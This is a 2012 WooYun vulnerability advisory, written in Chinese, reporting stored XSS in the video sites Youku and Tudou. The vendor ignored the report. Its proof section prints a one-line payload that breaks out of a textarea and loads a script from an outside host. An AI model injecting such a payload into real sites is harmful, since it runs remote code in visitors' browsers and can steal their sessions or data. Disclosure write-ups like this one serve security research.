当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2012-07780

漏洞标题:优酷&土豆的XSS

相关厂商:优酷

漏洞作者: 简阳_C段

提交时间:2012-06-01 16:34

修复时间:2012-06-06 16:34

公开时间:2012-06-06 16:34

漏洞类型:xss跨站脚本攻击

危害等级:中

自评Rank:10

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2012-06-01: 细节已通知厂商并且等待厂商处理中
2012-06-06: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

优酷和土豆结合了,两者的漏洞也是如此的相似。夫唱妇随。

详细说明:

因为一些基本的安全常识不到位,导致了存储型xss。

漏洞证明:

测试代码:

</textarea><script src=http://tmxk.org/m/q.js></script>


土豆没有做服务端过滤,导致了存储型XSS。


土豆播客因编辑器原因可插入代码:


标签处没做过滤,但服务端做了长度限制:


优酷有同样的毛病:

修复方案:

过滤啊。

版权声明:转载请注明来源 简阳_C段@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2012-06-06 16:34

厂商回复:

漏洞Rank:3 (WooYun评价)

最新状态:

暂无